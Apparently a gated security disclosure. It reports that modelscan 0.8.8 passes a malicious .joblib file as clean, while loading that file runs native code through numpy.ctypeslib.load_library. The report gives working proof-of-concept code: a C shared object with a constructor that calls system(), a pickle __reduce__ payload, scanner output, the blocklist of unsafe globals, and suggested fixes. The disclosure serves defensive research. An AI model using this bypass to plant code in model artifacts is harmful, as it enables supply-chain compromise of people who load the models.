You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
Private security research PoC. Access restricted to the maintainers of the affected project and huntr triage.
Log in or Sign Up to review the conditions and access this model content.
modelscan 0.8.8 reports a malicious .joblib CLEAN (exit 0) while joblib.load runs a numpy-native code-exec gadget (numpy.ctypeslib.load_library) that modelscan structurally cannot blocklist for the joblib format
Target
- Project:
protectai/modelscan - Version: modelscan 0.8.8 (
pip show modelscan-> 0.8.8) - Scanner exercised:
modelscan.scanners.PickleUnsafeOpScan(the scanner modelscan itself selects for.joblib) - Execution environment (verified): modelscan 0.8.8, joblib 1.5.2, numpy 2.5.1, CPython 3.12.13, Linux; venv
/home/kali/modelscan-venv
Summary
modelscan is marketed as a pre-load safety scanner for ML model artifacts, including scikit-learn / joblib
.joblib files. It fully parses the joblib pickle stream with pickletools.genops, extracts every
GLOBAL/STACK_GLOBAL reference, and reports an issue only when the referenced module appears in its
unsafe_globals allowlist in settings.py.
numpy ships an in-tree code-execution gadget: numpy.ctypeslib.load_library(libname, loader_path)
resolves to ctypes.CDLL(<loader_path>/<libname>.so). Loading a shared object runs its ELF constructor
(__attribute__((constructor))) = arbitrary native code execution before any Python model code runs.
Because this gadget lives under the numpy namespace, modelscan cannot add it to the blocklist without
either whitelisting the one specific function (whack-a-mole) or breaking the scanning of every legitimate
joblib file β every real scikit-learn/joblib artifact is packed with numpy globals (numpy.ndarray,
numpy.dtype, numpy._core.multiarray._reconstruct, joblib's NumpyArrayWrapper). Blocklisting numpy
would false-positive on the entire ecosystem, so numpy is deliberately absent from unsafe_globals.
The result: modelscan's own parser sees ('numpy.ctypeslib', 'load_library') in the file, yet reports
No issues found! π and exits 0, while joblib.load() of the same file achieves RCE.
Root cause
modelscan/tools/picklescanner.py -> _list_globals() genops-parses the whole stream and returns the set
of (module, name) globals. For our payload it returns exactly {('numpy.ctypeslib', 'load_library')} β
so the dangerous global is fully extracted. The decision to flag or not is made in
_build_scan_result_from_raw_globals():
for rg in raw_globals:
global_module, global_name, severity = rg[0], rg[1], None
for severity_name in severities:
if global_module not in settings["unsafe_globals"][severity_name]:
continue # <-- numpy.ctypeslib is not a key -> skipped
filter = settings["unsafe_globals"][severity_name][global_module]
...
if "unknown" in global_module or "unknown" in global_name:
severity = IssueSeverity.CRITICAL
if severity is not None:
issues.append(Issue(...)) # never reached for numpy.ctypeslib
An issue is raised only when global_module is a key in settings["unsafe_globals"][severity]. The
unsafe_globals allowlist in modelscan/settings.py (CRITICAL tier) is:
__builtin__/builtins (eval, compile, getattr, apply, exec, open, breakpoint, __import__),
runpy*, os*, nt*, posix*, socket*, subprocess*, sys*, operator(attrgetter),
pty*, pickle*, _pickle*, bdb*, pdb*, shutil*, asyncio*
numpy / numpy.ctypeslib is not present anywhere in unsafe_globals (grep of settings.py
confirms: no numpy key, no load_library). Therefore the loop's continue fires for every severity
tier, severity stays None, and no issue is emitted β a clean exit despite the gadget being seen.
modelscan already knows about this gadget
modelscan/tools/picklescanner.py line 37-38 contains a standing TODO comment naming this exact gadget as
a loader of concern, yet leaves it unmitigated:
# numpy.ctypeslib.load_library()
# https://numpy.org/doc/stable/reference/routines.ctypeslib.html#numpy.ctypeslib.load_library
Why this is structurally un-closable for joblib
This is not a parser bug. Unlike the two prior joblib findings (both genops parser desyncs where the
scanner's opcode walk stopped early and never saw the malicious global), here genops parses the entire
stream cleanly to STOP and does surface the global. The failure is allowlist incompleteness:
modelscan's blocklist model cannot enumerate every code-exec-reachable function inside the numpy namespace,
and it cannot blocklist the numpy namespace wholesale because doing so breaks scanning of every legitimate
.joblib. numpy is a mandatory dependency of the joblib format itself.
Proof of concept
Two-artifact supply-chain payload (a .joblib plus a co-located attacker .so, e.g. a Hugging Face repo
shipping model.joblib next to a helper library):
Build a benign-looking co-located shared object whose ELF constructor runs a command:
// evil.c #include <stdlib.h> __attribute__((constructor)) void boom(void){ system("touch /home/kali/hunt-workspace/joblib-r3/SO_PWNED"); }gcc -shared -fPIC -o libeviljl.so evil.cCraft the
.joblibwith a single reduce to the numpy gadget:class G: def __reduce__(self): return (numpy.ctypeslib.load_library, ('libeviljl', '<dir>')) joblib.dump(G(), 'evil_numpy_ctypeslib.joblib', compress=0)Disassembly is a fully-formed protocol-4 pickle (PROTO/FRAME,
SHORT_BINUNICODE 'numpy.ctypeslib',SHORT_BINUNICODE 'load_library',STACK_GLOBAL,TUPLE2,REDUCE,STOPat offset 100 β no desync, no truncation).modelscan -p evil_numpy_ctypeslib.joblib->No issues found! π, exit 0.joblib.load('evil_numpy_ctypeslib.joblib')-> the.soconstructor fires -> RCE marker created.
Negative control: an identical file using os.system is detected CRITICAL and exits 1 β proving the
scanner and pipeline work and only the numpy-namespaced gadget slips through.
Captured evidence (verbatim, re-run at package time)
########## NEGATIVE CONTROL: os.system ##########
Scanning .../ctrl_ossystem.joblib using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
Total Issues: 1
--- CRITICAL ---
Unsafe operator found:
- Severity: CRITICAL
- Description: Use of unsafe operator 'system' from module 'posix'
- Source: .../ctrl_ossystem.joblib
control MODELSCAN_EXIT=1
########## FINDING: numpy.ctypeslib.load_library ##########
Scanning .../evil_numpy_ctypeslib.joblib using modelscan.scanners.PickleUnsafeOpScan model scan
No issues found! π
finding MODELSCAN_EXIT=0
SO_PWNED (RCE marker) exists after joblib.load: YES
versions: modelscan 0.8.8 joblib 1.5.2 numpy 2.5.1
# modelscan's own parser proves it saw (but did not flag) the gadget:
globals modelscan genops extracted: [('numpy.ctypeslib', 'load_library')]
# disassembly (clean, fully-parsed pickle):
0: \x80 PROTO 4
2: \x95 FRAME 90
11: \x8c SHORT_BINUNICODE 'numpy.ctypeslib'
28: \x94 MEMOIZE (as 0)
29: \x8c SHORT_BINUNICODE 'load_library'
43: \x94 MEMOIZE (as 1)
44: \x93 STACK_GLOBAL
45: \x94 MEMOIZE (as 2)
46: \x8c SHORT_BINUNICODE 'libeviljl'
57: \x94 MEMOIZE (as 3)
58: \x8c SHORT_BINUNICODE '/home/kali/hunt-workspace/joblib-r3'
95: \x94 MEMOIZE (as 4)
96: \x86 TUPLE2
97: \x94 MEMOIZE (as 5)
98: R REDUCE
99: \x94 MEMOIZE (as 6)
100: . STOP
highest protocol among opcodes = 4
Impact
Arbitrary native-code execution (RCE) on any machine that trusts modelscan's verdict before loading a
.joblib from an untrusted source (Hugging Face repo, model registry, CI artifact scan). modelscan
green-lights the file; joblib.load then executes the attacker's ELF constructor. Because modelscan is
frequently used as a gate ("scan before load"), a CLEAN result actively increases the victim's willingness
to load.
Caveat / attack model
This gadget is a two-artifact supply-chain attack: the .joblib plus a co-located attacker-controlled
.so (realistic for a model repo that ships a "helper" library, but not a single-file payload). The
loader_path argument in the pickle points at the directory the .so is dropped in. This does not reduce
the core finding: modelscan's blocklist design cannot cover numpy-namespaced code-exec gadgets for the
joblib format without breaking the format.
Suggested remediation
There is no clean blocklist fix. Options: (a) treat any numpy.ctypeslib.load_library (and other
ctypes/CDLL-reaching numpy entrypoints) as CRITICAL via an explicit function-level allow/deny that does not
depend on the whole numpy namespace; (b) move to an allowlist model for joblib globals (only permit the
small known-safe set of numpy reconstruction globals) rather than a blocklist; (c) clearly document that a
CLEAN modelscan result on .joblib is not a safety guarantee.
Dedup note
Distinct from the two prior joblib findings filed from this account
(huntr-poc-joblib-numeric-genops, huntr-poc-joblib-stopbyte), which are both genops parser-desync
bugs (the opcode walk desynchronizes/stops early and never observes the malicious global). This finding is
the opposite: genops parses the entire stream cleanly and does observe the global
(_list_globals() returns it) β the failure is allowlist incompleteness in
_build_scan_result_from_raw_globals()/settings.py, which is structurally un-closable for the joblib
format. No public CVE currently covers the numpy-namespace allowlist gap for joblib.